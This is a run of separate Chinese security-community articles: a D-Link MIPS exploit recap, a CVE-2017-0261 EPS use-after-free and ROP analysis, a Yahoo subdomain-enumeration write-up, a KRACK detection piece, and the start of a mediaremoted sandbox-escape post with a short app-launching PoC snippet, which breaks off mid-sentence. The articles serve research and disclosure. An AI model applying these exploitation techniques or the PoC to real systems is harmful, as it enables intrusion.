open(/var/tmp/temp.xml, 0x241, 0o666) = 3
ioctl(0x3, 0x540d, 0x7ff3c358) = -1
rt_sigprocmask(0x1, 0x7ff3c778, 0x7ff3c7f8, 0x10) = 0
nanosleep(0x7ff3c770, 0x7ff3c770) = 0
execve(//bin/sh, [], [])
ioctl(0x0, 0x540d, 0x7ff3c8c8) = -1
ioctl(0x1, 0x540d, 0x7ff3c8c8) = -1
...
我们可以看到：
* 我们以前博客中打印的字符串
* 调用`nanosleep`实现的`sleep`
* 最后调用执行`execve`
完成工作！
如果要重现此内容，请转到[qiling_dlink_exploit.py](https://github.com/nahueldsanchez/blogpost_qiling_dlink_2/blob/master/qiling_dlink_exploit.py)以获取Python脚本。
# 参考文献
<https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/>
\- 分析此漏洞的博客文章。它看起来真的很有趣，并且提供了有趣的分析。
<https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/> \-优秀的博客文章，帮助我了解了如何准备寄存器以使Shellcode在MIPS上工作。它还强调了对X86和MIPS的利用之间的一些关键区别。
<https://www.lorem.club/~/[email protected]/mips-rop> -关于MIPS漏洞利用的非常好的文章
<https://www.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v01> \- 对于练习MIPS漏洞利用非常有用的项目
<http://www.devttys0.com/2013/10/mips-rop-ida-plugin/> \- MIPS rop plugin
(IDA)
<https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt> \- Pedro Ribeiro Advisory for Multiple vulnerabilities in Dlink DIR
routers HNAP Login function
[https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf](https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon
Yang - Advanced SOHO Router Exploitation.pdf) \- EXPLOITING BUFFER OVERFLOWS
ON MIPS ARCHITECTURES BY Lyon Yang | 社区文章 |
**作者：Joey@天玄安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/PnKo3nL9h3jcws16fxtY2A>**
## 前言
第一次分析EPS类漏洞，对于PostScript格式十分陌生，通过查阅[PostScript LANGUAGE
REFERENCE](https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/PLRM.pdf)了解PostScript格式。调试EXP来自kcufld师傅的[eps-CVE-2017-0261](https://github.com/kcufId/eps-CVE-2017-0261)，EXP在Office
2007可以正常运行，但在Office 2010以上版本需要配合提权漏洞逃逸沙箱后完成利用。
### 调试环境
调试是直接使用kcufld师傅的eps加载器进行调试，EPSIMP32.FLT版本信息如下：
OS: Win7 x64 SP1
Office: Ofiice 2007 x86
Image name: EPSIMP32.FLT
ImageSize: 0x0006E000
File version: 2006.1200.4518.1014
Product version: 2006.1200.4518.0
### PostScript格式简介
先介绍下PostScript基本的数据结构：
SIMPLE OBJECTS | COMPOSITE OBJECTS
---|---
boolean | array
fontID | dictionary
integer | file
mark | gstate (LanguageLevel 2)
name | packedarray (LanguageLevel 2)
null | save
operator | string
real |
左侧为简单对象，右侧为复合对象。简单对象都是原子实体，类型、属性和值不可逆转地结合在一起，不能改变。但复合对象的值与对象本身是分开的，对象本身存储于操作栈中，具体的结构如下：
// PostScript Object
struct PostScript object
{
dword type; //对象类型
dword attr;
dword value1; //指向对象所属变量名称
dword value2; //若为简单对象，直接指向值；若为复合对象，指向存储的值的结构
}ps_obj;
其中部分type的值与类型的映射如下：
type值 | 数据类型
---|---
0x0 | nulltype
0x3 | integertype
0x5 | realtype
0x8 | booleantype
0x10 | operatortype
0x20 | marktype
0x40 | savetype
0x300 | nametype
0x500 | stringtype
0x900 | filetype
0x30000 | arraytype
0x70000 | packedarraytype
0x0B0000 | packedarraytype
0x110000 | dicttype
0x210000 | gstatetype
接着介绍下漏洞中使用到的比较关键的操作符的意义：
操作符 | 示例 | 解析
---|---|---
forall | array proc forall | 枚举第一个操作数的元素，为每个元素执行过程
proc。如果第一个操作数是数组、压缩数组或字符串对象，则 forall 将一个元素压入操作数堆栈，并对对象中的每个元素执行 proc，从索引为 0
的元素开始并依次执行。
dup | any dup ---> any any | 复制操作数堆栈上的顶部元素。 dup 只复制对象；复合对象的值不是复制而是共享的。
putinterval | array1 index array2 putinterval |
用第三个操作数的全部内容替换第一个操作数的元素的子序列。被替换的子序列从第一个操作数的 index 开始；它的长度与第三个操作数的长度相同。
put/get | array index any put/get |
替换/获取第一个操作数的一个元素的值。如果第一个操作数是一个数组或一个字符串，put/get将第二个操作数视为一个索引，并将第三个操作数存储在索引所确定的位置，从0开始计算。
save | /save save | 保存当前VM状态快照，一个快照只能使用一次。
restore | save restore |
丢弃本地VM中自相应保存以来创建的所有对象，并回收它们占用的内存；将本地VM中所有复合对象的值（字符串除外）重置为保存时的状态；关闭自相应保存以来打开的文件，只要这些文件在local
VM 分配模式有效时打开。
了解了上述背景后，开始分析漏洞。
### 漏洞成因
通过使用forall操作符获取创建的字符串对象，并在第一次循环时使用restore操作符释放字符串对象，随后创建新的字符串对象使得原本存储旧字符串对象的结构被新复合对象代替。若故意构造大小为0x27的字符串对象，则字符串被释放后会多出0x28的内存空间，此时立即创建新的字符串对象，则该内存会用来存储指向新字符串的string结构。随后通过改变forall的函数，获取指向新字符串的结构。
漏洞文件中一共触发了三次漏洞，第一次是获取了被释放的string的字符用于判断系统是32位还是64位。第二次触发故意构造大小为0x27的string对象，用于获取指向恶意string的结构。第三次则利用第二次构造的特殊string结构创造了一个起始地址为0x00000000，大小为0x7fffffff的字符串，构造了能够读写任意地址内存的读写原语。接着利用读写原语搜索内存中函数地址构造ROP链。最终创建了一个文件对象，在调用closefile操作符时跳转执行ROP完成漏洞利用。
查看poc.eps文件，第一次调用forall如图所示：
在ida中定位到forall操作符的代码：
使用windbg找到对应偏移后下断：`sxe ld EPSIMP32;g;bp EPSIMP32+2b928;g;`
运行到图中所示位置时查看edi的值，指向了操作栈，查看后发现有两个对象在栈中，第一个为string l63，第二个为array l61
继续分析，会获取l63和l61对象到栈中，并确认l63的类型为string后，跳转到获取string类型元素部分
获取值的过程会因为type的不同而有所变化，具体如图所示：
通过调试可以更加直观的看到通过value2获取string的方式：
接着循环获取string中的每一个元素并执行函数：
此时传入deferred_exec的参数为eax，查看传入参数：
0:000> bp EPSIMP32+2ba06 //call deferred_exec
0:000> g
Breakpoint 1 hit
eax=0018fd78 ebx=00000000 ecx=00291280 edx=00000001 esi=00425770 edi=00000000
eip=718fba06 esp=0018fd54 ebp=0018fdbc iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
EPSIMP32!RegisterPercentCallback+0x4604:
718fba06 e8d8abffff call deferred_exec (718f65e3)
0:000> dd eax L4 //查看传入的参数为数组
0018fd78 00030000 00000000 0049ea98 0048f40c
0:000> dd poi(poi(poi(poi(poi( 0018fd78 +c))+24))+28) //查看数组中存储的内容
0049e2c0 00000500 00000100 00495408 0048ee98 //数组中存放着字符串对象
0049e2d0 12d85688 8000f194 00000020 00000100
0049e2e0 0049dc40 0048f198 12d8568f 80000000
0049e2f0 00490023 000007c8 00000300 00000100
0049e300 12d856b2 8000f19c 00000026 00000100
0049e310 0049dc60 0048f1a0 12d856b1 80000100
0049e320 00420029 0048f1a4 00000003 00000000
0049e330 12d856b4 80000080 0000002c 00000100
0:000> db poi(poi(poi(poi(poi( 0049e2c0 +c))+24))+20) L10 //查看字符串的内容为l56 cvx exec
00495940 20 6c 35 36 20 63 76 78-20 65 78 65 63 20 00 00 l56 cvx exec ..
0:000> g //第二次执行deferred_exec
(5c8.144): C++ EH exception - code e06d7363 (first chance)
(5c8.144): C++ EH exception - code e06d7363 (first chance)
Breakpoint 1 hit
eax=0018fd78 ebx=00000000 ecx=00291280 edx=00000003 esi=00425770 edi=00000001
eip=718fba06 esp=0018fd54 ebp=0018fdbc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
EPSIMP32!RegisterPercentCallback+0x4604:
718fba06 e8d8abffff call EPSIMP32+0x265e3 (718f65e3)
0:000> dd poi(poi(poi(poi(poi( 0018fd78 +c))+24))+28) //查看数组的内容
0049e2c0 00000500 00000100 00495438 0048eeac //数组中存放着字符串对象
0049e2d0 12d85688 8000f194 00000020 00000100
0049e2e0 0049dc40 0048f198 12d8568f 80000000
0049e2f0 00490023 000007c8 00000300 00000100
0049e300 12d856b2 8000f19c 00000026 00000100
0049e310 0049dc60 0048f1a0 12d856b1 80000100
0049e320 00420029 0048f1a4 00000003 00000000
0049e330 12d856b4 80000080 0000002c 00000100
0:000> db poi(poi(poi(poi(poi( 0049e2c0 +c))+24))+20) L10 //查看字符串的内容为l53 cvx exec
00495958 20 6c 35 33 20 63 76 78-20 65 78 65 63 20 00 00 l53 cvx exec ..
从调试的结果可以得知，该函数执行的正是forall。在第一次执行时，l61中待执行的命令是`l56 cvx
exec`，在第二次执行时，l61中的内容已经被换成了`l53 cvx exec`与调试结果相符。
接着深入函数分析，发现函数内部嵌套了deferred_exec：
于是重新调试，下断在此，分析参数：
虽然type为0x10的操作符对象存储在Systemdict中无法查看，但是通过其他字符和数字还是能够确定该语句就是l50。当执行该语句后，原本l63指向的string结构将被替换成存放l52内容的string结构：
可以看到此时原本存放l63的string结构已经变成了l52。
在get函数下断，跳转到forall下的`/l64 l57 56 get def`语句查看l57的值：
可以证实l57中存放的就是从l63中获取到的字符，该forall的作用就是泄露被释放的string结构指向的字符串。
接着获取l57中的值，并进行一些处理，通过ifelse判断系统位数，若l77等于l52的长度+1，那么l99的值为1代表系统为64位，否则l99为0，代表系统为32位：
可以看到在32位的调试环境下，l77的值为0，因此会将5个0压入操作栈中，并赋值给l95到l99：
至此，漏洞原理部分分析完毕，接下来分析漏洞利用部分。
## 漏洞利用
第二次执行forall代码如下：
和第一次执行十分类似，因此就不深入分析。查看执行完forall后stringl63的变化：
查看l63中的值，发现是一个string结构，于是查看字符串，内容正是l102中存储的l36的字符串
接着通过`l90 0 l92 putinterval`将l63中指向的第一个4字节的内容改为0x02b14ad4，该值指向l36中四字节之后的内容
经过多次修改，字符串修改为如下状态，修改的值会在第三次漏洞触发时使用到：
接着查看l137获取的是l63中0x4处的值，l138获取的是l63中0x20处的值，l103的值为1
第二次漏洞触发部分分析完毕，接下分析第三次漏洞触发构造读写原语的部分。
### 构造读写原语
l142中存储的是将l138放入到l193的0x24位置的后的字符串：
接着使用forall操作符遍历l63数组，当遍历到第54个元素时，恢复快照。此时array l63被释放，接着复制 l142字符串，使得array
l63对象被l142字符串对象覆盖：
此时查看被覆盖后的l63中最后一次会被获取的值：
说明最后一次会获取一个array对象，继续深入查看该对象发现存储了一个字符串，该字符串起始地址为0x00000000，大小为0x7fffffff：
通过该字符串，可读写内存中0x00000000-0x7fffffff的任意地址，实现了读写原语的构造，最终将字符串对象存储在l201中。
### 构建ROP链
通过字符串l201获取EPSIMP32的基地址为：0x74750000，并存入l314中：
接着通过EPSIMP32的导入表获取kernel32.dll的基地址并存放于l315中：
随后开始利用读写原语搜索内存中的gadget用于构造ROP链：
将构造好的ROP链放入伪造的文件对象中，并将对象放置在l159的2号元素中，将恶意pe文件和shellcode组成的字符串放置在l159的3号元素中：
最终调用closefile操作符关闭伪造的文件对象，在关闭过程中会执行`call [eax+8]`使得跳转到构造好的ROP链中：
至此，整个漏洞的原理和利用分析完毕，剩下的行为部分不再分析。
## 总结
该样本漏洞利用的十分巧妙，通过UAF将原本正常的数组对象替换为指向构造好的能够读写任意内存的字符串对象。通过字符串对象实现了读写任意内存并构造ROP链的目的，并最终将构造好的ROP字符串对象修改为文件对象，利用cloasefile操作符跳转到ROP链中。
尽管微软已经关闭了Office对于EPS文件的支持，但该格式文件仍然能被Adobe
Illustrator打开，如果深入研究该类型文件可能仍有出现漏洞的可能。
## 参考链接
[1] [PostScript LANGUAGE
REFERENCE](https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/PLRM.pdf)
[2] [eps-CVE-2017-0261](https://github.com/kcufId/eps-CVE-2017-0261)
[3] [CVE-2017-0261及利用样本分析](https://bbs.pediy.com/thread-261442.htm)
[4] [EPS Processing Zero-Days Exploited by Multiple Threat
Actors](https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html)
* * * | 社区文章 |
# 【技术分享】实例演示如何科学的进行子域名收集
|
##### 译文声明
本文是翻译文章，文章来源：medium.com/@woj_ciech
原文地址：<https://medium.com/@woj_ciech/how-to-find-internal-subdomains-yql-yahoo-and-bug-bounty-d7730b374d77>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：150RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
当我在HackerOne上寻找新的目标时，我总是会重点关注已解决漏洞数量较大的那一类目标，因为相比漏洞数量较小的那些目标，这类目标可能更容易找到问题。我想自己动手尝试一下，因此我选择了Yahoo!作为目标，这个目标的已解决漏洞在HackerOne上排名第一，总共有3613个。
**二、子域名搜集**
我们都知道Yahoo!是个大型国际公司，因此我认为它应该包含许多子域名、路径以及重定向信息，但具体从哪里入手呢？我最喜欢的用来枚举或爆破子域名的工具为：[Sublister](https://github.com/aboul3la/Sublist3r)（我认为最好的一个工具）以及[Fierce](https://github.com/davidpepper/fierce-domain-scanner)。我希望借助这些工具找到被管理员遗忘的、错误配置的或者正在运行陈旧版本软件的子域名。Sublister给我生成了超过9000个子域名，我如何核实这些域名的准确性呢？
图1. 子域名搜集
图2. 原始子域名个数
**三、半自动搜索方法**
这9000个子域名中至少有一个存在漏洞，我认为在如此大的一个公司中要在安全方面做到万无一失是很难的一件事情。当Sublister运行完毕后，我打开结果文件，手动删除了无用和重复的子域名，这些域名要么无法正确解析，要么不会返回任何响应。我当然没有逐一进行核实，因为工作量实在太大，即便如此，还有大约7000个子域名保留下来。我们先来快速扫描一下，利用扫描结果进一步筛选子域名。我使用Nmap来完成这一任务，并将结果文件保存为更容易解析的XML文件。
nmap -sS -p80,443 -iL nmap_input.txt -oX nmap_output
典型的输出如下所示：
<hostnames>
<hostname name=”start.producersdesktop.yahoo.com” type=”user”/>
<hostname name=”proxy.publish.bf1.yahoo.com” type=”PTR”/>
</hostnames>
<ports><port protocol=”tcp” portid=”80"><state state=”closed” reason=”reset” reason_ttl=”42"/><service name=”http” method=”table” conf=”3"/></port>
</ports>
<times srtt=”148262" rttvar=”148262" to=”741310"/>
</host>
我们可以在nmap命令中指定需要扫描的端口。对我来说，结果中最有用的参数是“state”以及“hostname name”参数。我认为“hostname
name”代表的是DNS信息，有时候这个字段会保存ISP的地址，此时我就知道这个域名无法被正确解析。基于这个信息，我们可以扔掉好几百个错误的子域名。我写了个脚本，可以根据结果中的主机名删除无用的XML表项，并将处理结果保存为另一个XML。
import xmltree
def removeHostname():
for host in root.iter('host'):
for elem in host.iter():
if 'name' in elem.attrib and elem.attrib['name'] == 'ISP_redir_site':
root.remove(host)
tree.write('output.xml')
现在，我们手头上的子域名都开放了80端口。我们可以使用nmap扫描这些子域名，获取HTML标题信息（–script http-title），然后再删掉标题一样的子域名。
Yahoo!的网站可能使用不同的语言，比如ru.search.yahoo.com、br.search.yahoo.com、de.starts.yahoo.com等，下一步我们可以过滤掉具有不同语言的同一类子域名，这也可以删掉很多冗余的子域名。经过这些处理工作，我得到了大约700个可能存在漏洞的子域名。
**
**
**四、初步探索**
接下来是好好研究的时间了。我无法在这些子域名中找到可以利用的共同点，因此我需要手动检查这些子域名。经过一番搜索，我发现某些子域名存在一定的类似性及重复性，因此情况没有想象的那么难。我发现http://yvap.query.yahoo.com/这个地址开放了一个YQL内部控制台接口，经过进一步研究，我还发现http://ygh-app.media.yahoo.com/这个网站用于Beaker用例测试。
图3. YQL（Yahoo!查询语言）内部控制台接口
图4. Beaker
**
**
**五、深入分析**
除了在<http://yvap.query.yahoo.com/v1/test/js/console_ajax.js>
这个地址发现一段javascript代码之外，我没有发现其他有趣的信息。Yahoo!不止有一个内部控制台，但其他控制台对外都处于锁定状态，如下所示：
图5. 处于锁定状态的YQL控制台
对于YQL来说，典型的查询语句如下所示：
[https://query.yahooapis.com/v1/public/yql?q=show%20tables&diagnostics=true](https://query.yahooapis.com/v1/public/yql?q=show%20tables&diagnostics=true)
因此，我使用这种查询语句对剩余的已锁定的控制台发起请求。从结果中可知，这些控制台的主面板虽然处于关闭状态，但我们仍然可以通过url地址提交请求。我枚举测试了所有控制台，逐一进行核实。对大部分控制台而言，“show
tables”命令都能正常工作，因此我尝试深入分析这些控制台，但直到我向HackerOne报告这个问题时，仍然没有取得进展，看起来这些控制台的问题只是对外开放，仅此而已。
图6. 对外开放的控制台
我发现http://ygh-app.media.yahoo.com/是一个Beaker测试网站，实话实说我以前从来没接触过Beaker，经过快速探索后，我发现了另一处信息泄露点。
图7. 另一处信息泄露点
**
**
**六、总结**
在整个过程中我没有使用到革命性的方法，肯定有其他方法能够得到更快、更精确并且耗时更短的结果，但我还是想跟大家分享整个过程。几周之前，我发现了[Aquatone](https://github.com/michenriksen/aquatone)这个工具，这个工具包含了所有的功能。
**七、时间线**
5月10日：报告发送给HackerOne。
5月11日：Yahoo!反馈YQL控制台问题已经有人提交过，但第二个问题是个新的问题。
5月12日：我演示了如何向内部YQL控制台发起查询请求。
5月18日：Yahoo!反馈这种行为符合预期。
6月2日：收到奖金。 | 社区文章 |
# 【技术分享】WPA2漏洞原理分析与防御（WIPS产品对抗KRACK漏洞）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：360天马安全团队&天巡实验室
****
**1.前言**
近日，有安全研究员披露 **WPA2 协议层** 中存在逻辑缺陷，几乎所有支持Wi-Fi的设备都面临威胁，其传输的数据存在被嗅探、篡改的风险。攻击者可获取WiFi网络中的数据信息，如信用卡、邮件、账号、照片等，危害巨大。对于用户而言，应该关注设备厂商安全公告，及时更新修补漏洞。而对于企业而言，除了督促员工尽快更新设备外，还可以利用
**WIPS产品** 来帮助抵御KRACK攻击等无线安全攻击威胁，保护企业内部的WiFI设备安全。
本文将以KRACK攻击为例，介绍WIPS产品为何能快速支持KRACK攻击检测并进行防御。
**2.什么是WIPS**
WIPS（无线入侵防御系统）是针对企业无线应用环境的安全威胁发现与防护系统，通过将无线通信技术、无线攻防、数据分析与挖掘等技术相结合，确保企业的无线网络边界安全、可控。
较为出名的WAIDPS，便是一款由Python编写的无线入侵检测工具，基于Linux平台，完全开源。它可以探测包括WEP/WPA/WPS在内的无线入侵&攻击方式，并可以收集周边WiFi相关的所有信息。
**2.1WIPS（无线入侵防御系统）基本架构**
WIPS通常采用采用B/S或者C/S架构，收发引擎分布式部署在企业办公环境中，将收集到的热点信息传给中控服务器。管理员通过通过管理平台查看企业内部热点信息，对捕获到的攻击行为进行告警，并对恶意、违规的热点进行阻断。
**2.2.基本功能**
利用WIPS产品可以查看并管理企业内可信热点、未知热点；识别并告警可疑攻击行为；快速响应WiFi攻击及威胁事件。能够有效防止恶意热点、未知及外部热点、伪造热点、未授权移动终端等可能带来的安全隐患，从而保护企业的无线网络安全。
分布式部署在企业办公环境中的收发引擎将会回收整个区域内所有802.11原始数据并进行分析识别，如：
**热点、客户端识别**
**回收热点、客户端BSSID、ESSID、PWR、OUI & Loc等信息。**
**判断并标记恶意热点、未授权热点、错误配置热点（弱密码、有漏洞的加密协议）。**
**发现客户端未授权连接。**
**..**
**攻击行为识别**
**检测MDK3去认证攻击**
**检测伪造合法热点攻击**
**检测伪造MAC地址攻击**
**检测Aircrack-NG无线破解攻击**
**..**
**2.3.无线攻击识别规则**
由于后文对KRACK攻击的检测方法涉及检测伪造热点，此处便以此为例进行说明。
伪造热点攻击（Evil-Twin）是众多无线攻击方法中，成本较低、效果较好的一种，因此及时地发现并阻断钓鱼热点是非常必要的。常见的伪造热点攻击检测方法有：热点常规信息检测、登录凭证验证检测、时钟偏差检测等方式。
**常规信息检测**
利用目标AP的Beacon、Interval、SSID、Channel及其他无线信息进行比较得出判断。
**凭证验证检测**
利用AP登记保存的凭证信息向目标设备发起连接，若成功再用错误密码尝试连接，若提示错误则证明是合法热点。
**时钟偏差检测等方式**
通过计算两个相邻信标帧之间的timestamp间隔差异，即时钟偏差，与预先设定的阈值进行比较来检测伪AP。如果AP的时钟偏差值与特征库中储存的偏差值不一样，则可认定这个AP为一个无线钓鱼AP。
如上图就是一个Python利用Scapy模块以实现通过时钟偏差检测识别钓鱼热点的示例
****
**3.KRACK攻击原理分析**
本次的WPA2“密钥重装攻击”，基本原理为：利用WPA协议层中的逻辑缺陷，多次重传握手过程中的消息3从而导致重放随机数和重播计数器，为攻击者提供了利用条件。
在协议标准中还存在一条危险的注释“一旦安装后，就可从内存中清除加密密钥”，若按此注释进行实现，在密钥重装攻击时会从内存中取回已经被0覆盖的key值，从而导致客户端安装了值全为零的秘钥。而使用了含漏洞wpa_supplicant版本的Linux及Android设备便因此遭受严重威胁。
**3.1.KRACK攻击利用方式（攻击视频分析）**
1、首先测试设备连接真实的testnetwork网络：
2.开启WireShark监听并在稍后被设为钓鱼热点的网卡：
3、 攻击演示：
真实热点Real AP：
SSID：testnetwork
Mac：bc:ae:c5:88:8c:20
Channel：6
被攻击客户端Target：
SSID: 90:18:7c:6e:6b:20
伪造同名同MAC热点（Rouge AP）：
SSID： testnetwork
Mac：bc:ae:c5:88:8c:20
Channel：1（信道不同）
注入CSA beacon pairs 将客户端信道变为1，也就是迫使客户端Target与Rouge
AP通信。伪AP向目标Target发送Disassociate数据包，使其解除关联。
4.利用网卡建立目标AP的伪造热点，迫使客户端连接到伪造热点上。此时设备经历重连，WiFI状态为正在认证。
当目标targe与真实AP完成认证过程，准备发起连接时，注入CSA beacon pairs，使信道切换到Channel 1
实施中间人攻击，同时客户端状态保持在State 2，接下来开始发送四次握手中的Message 3，实施密钥重新安装（Key Reinstallation
Attack）攻击。
5.此时密钥重装攻击已经执行成功，客户端已连接上伪造热点：
6.在此伪造热点中，被攻击端所有流量皆可被嗅探、篡改；演示视频中使用经典的MITM工具sslstrip对HTTPS进行降级，便可获取用户传输的明文账号信息。
7、用户提交的账号信息便可被获取：
**3.2.检测KRACK的几种途径**
之前有讲到KRACK的攻击原理，根据现有KRACK的Demo来看，攻击者的主要利用方式为：在被攻击客户端与正常AP建立连接时，攻击代码（POC）“克隆”了被攻击客户端所连接的AP，建立了一个相同BSSID、ESSID，但Channel不同的热点；通过发送Disassociate
Frame迫使被攻击客户端解除关联，此时设备经历重连；准备重新与正常AP发起连接时，注入CSA beacon pairs(Channel Switch
Announcement)，使信道切换到恶意AP所在信道，实施中间人攻击；同时客户端状态保持在State
2（通过对访问点进行身份验证的身份验证状态），接下来开始发送四次握手中的Message 3，实施密钥重新安装（Key Reinstallation
Attack）攻击，即可与伪AP建立正常连接通信。
根据以上攻击流程，我们分析便得出KRACK现有的攻击方式特征，并能据此添加对KRACK攻击进行检测：
1\. 建立同ESSID、BSSID但不同Channel的Rouge AP；
2\. 向客户端发送异常Deauth／Disassociate Frame；
3\. 重新发送四次握手中的message3强制重置nonce，相同IV；
4\. Sequence Number和Timestamp乱序；
5\. Client在建立握手的时候切换Channel；
****
**4.红蓝对抗演示**
作为使用WPA2协议设备的用户来说，官方的解决方案是等待协议漏洞的修复与厂家设备的升级。在企业环境中，能否将无线防护的主动权掌握在自己手中呢。安全专家的建议是企业应合理部署WIPS，但是WIPS能否抵御这种突如其来的无线安全威胁呢？
在详细分析了黑客的攻击过程后，天巡实验室准备进行一场红黑对抗，一组扮演黑客模拟相同的攻击手段进行无线攻击；另一组实验人员扮演企业管理员进行无线防护，同时在实验环境内部署WIPS，测试WIPS的防御效果。
1\.
首先建立testnetwork热点，企业用户连接该热点并通过认证后可访问企业内网资源；通过WIPS管理员可直观了解该热点的设备属性和安全属性，包括热点ESSID、BSSID、热点厂商、频道和加密方式等等。
2\.
然后黑客伪造与testnetwork相同名称及配置的热点，尝试欺骗用户连接；此时企业无线网络环境中同时出现了两个热点，非专业人员根本无法识别哪个是企业自建热点，哪个是非法的钓鱼热点。可以看到此时非法热点已经被WIPS识别出来并阻断，当前连接终端数为“无”。
3\. 与此同时WIPS也第一时间向管理员通报伪造合法热点攻击事件的发生及处理情况。WIPS的及时响应为管理员在突发情况发生时争取了更多的处置时间。
4\.
黑客为了使其他终端连接非法热点简直无所不用其极，泛洪终端拒绝服务攻击是成本最低也是最见效的方式。该种攻击方式可断开所有终端与合法热点的连接，在其他场景也可以干扰公共网络终端与热点的连接，造成网络瘫痪。此时WIPS系统能够发现此类攻击，在提供处理建议的同时，还能定位攻击发生的具体位置，管理员可实地排查是否有可疑人员。
5\.
可以说黑客的攻击行踪已经完全暴露在WIPS之下，原本看不见摸不着的无线威胁，透过WIPS的映射逐渐变得清晰。还不知道发生了什么的黑客继续他的攻击，黑客通过收集和重放重新发送四次握手中的Message3强制重置nonce，从而成功攻击加密协议，解密客户端发送通信数据包，截获敏感信息。但是此时WIPS系统已经监测到该攻击，并对实施钓鱼的热点进行了阻断，使不知情的“用户”免于威胁。
****
**5.小结**
最终“红方”利用WIPS的监测与阻断服务，成功阻止了“黑方”利用无线网络入侵与监听数据的攻击行为。通过实验表明，WIPS的确可以有效防范KRACKs攻击。随着移动互联网、BYOD、智慧城市、物联网等无线网络应用的兴起，无线网络正在扮演着越来越重要的角色。而无线网络重应用轻防护的建设理念，将吸引越来越多的黑客征服这片未被保护的领域，KRACKs不是无线网攻击的结束，是无线安全认知与建设的开始。
**安全团队**
天马安全团队（PegasusTeam）
天巡实验室 | 社区文章 |
**作者： 0xcc
原文链接：<https://mp.weixin.qq.com/s/tnupXwfR5EDhZif7t9vR1w>**
在 2018 年我给 iOS 和 macOS 报了一个 WebKit 沙箱逃逸漏洞 CVE-2018-4310。在报告里还提到了它在 iOS
上有一个奇特的用途，就是做一个永远杀不死的 App。
苹果当时应该是没有看懂，只在 macOS 上修复了沙箱逃逸。等我 2019 年在首尔的 TyphoonCon
上介绍了一遍案例[1]之后，终于被低调混入现场的甲方看到了，在之后的 iOS 中彻底修复了这个问题。
本文就来介绍一下这个漏洞，以及在当时是如何打造一个杀不死的 App。
首先这个 WebKit 的沙箱逃逸漏洞几乎是捡来的。
大家可能有过这样的体验，在误触 MacBook 键盘上方的媒体键之后，iTunes 播放器弹了出来。Google 一下发现很多人都想关掉这个功能。
经过逆向发现这个快捷键是一个叫 rcd 的进程处理的。
会触发如下的调用链：
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a932420 MediaRemote`MRMediaRemoteSendCommandToApp
MediaRemote`MRMediaRemoteSendCommandToApp:
-> 0x7fff6a932420 <+0>: push rbp
0x7fff6a932421 <+1>: mov rbp, rsp
0x7fff6a932424 <+4>: sub rsp, 0x70
0x7fff6a932428 <+8>: mov rax, qword ptr [rbp + 0x10]
Target 0: (rcd) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00007fff6a932420 MediaRemote`MRMediaRemoteSendCommandToApp
frame #1: 0x000000010d73829a rcd`HandleMediaRemoteCommand + 260
frame #2: 0x000000010d7387ff rcd`HandleHIDEvent + 736
HandleHIDEvent -> HandleMediaRemoteCommand -> MRMediaRemoteSendCommandToApp
而这个 MediaRemote 框架的函数向系统服务 com.apple.mediaremoted，也就是 mediaremoted 进程发送 XPC
消息。在 mac 和 iOS 上都有一个全局的播放器控制界面，背后就是 mediaremoted 处理的。
XPC 消息的格式是一个字典。其中 MRXPC_MESSAGE_ID_KEY 对应一个 uint64 值，用来表示这条消息具体由 mediaremoted
当中的哪个函数响应，相当于类型信息。
触发弹出 iTunes 播放器的消息包含一个叫 MRXPC_NOWPLAYING_PLAYER_PATH_DATA_KEY 的键，内容是序列化成二进制
buffer 的 MRNowPlayingPlayerPathProtobuf 类。
这个类有三个关键的字段：origin、client 和 player。键 client 指向一个 _MRNowPlayingClientProtobuf
对象，这个对象当中包含一个字符串，也就是播放器的 bundle id。最后 mediaremoted 会根据 bundle id 找到对应的应用程序，调用
MSVLaunchApplication 运行。
默认情况下，按下媒体键后发送的消息，bundle id 是系统默认的播放器，如果没有安装其他的，默认就是 iTunes。
那如果我们伪造一个 XPC 消息，把 bundle id 换成其他应用，比如 Xcode 或者计算器会怎么样？
extern id MRNowPlayingClientCreate(NSNumber *, NSString *);
extern id MRMediaRemoteSendCommandToClient(int, NSDictionary *, id, id, int, int, id);
id client = MRNowPlayingClientCreate(nil, @"com.apple.calculator");
NSDictionary *args = @{@"kMRMediaRemoteOptionDisableImplicitAppLaunchBehaviors" : @NO};
MRMediaRemoteSendCommandToClient(2, args, nil, client, 1, 0, nil);
// make sure the process doesn't quit before mediaremoted's answer
这段代码里使用了 MediaRemote 的私有函数来构造和发送 XPC 消息。比如传入 com.apple.calculator，真的运行了计算器。
macOS 端的沙箱配置文件是以源码形式发布的。在 WebKit（Safari）渲染器的沙箱配置当中可以看到允许访问 mediaremoted 服务：
(allow mach-lookup
(global-name "com.apple.mediaremoted.xpc")
使用 lldb 把我们的测试代码注入 WebKit 的渲染器进程，果然弹出了计算器：
当然这个漏洞在实战中需要其他漏洞组合，否则几乎无用。这种方式虽然可以在浏览器沙箱外启动任意程序，但需要目标程序预先在 LaunchService
当中注册过，例如从 AppStore 当中下载回来的应用等。
笔者找到了另一个 HIService 的问题，结合远程 NFS 挂载可能构造出这样的条件[2]。本文重点在如何创建一个杀不掉的 iOS
App，这里就不展开讲了。
通常在 iOS 上，第三方 App 做应用间跳时只允许使用 Universal Link (URL Scheme) 的形式。这个 mediaremoted
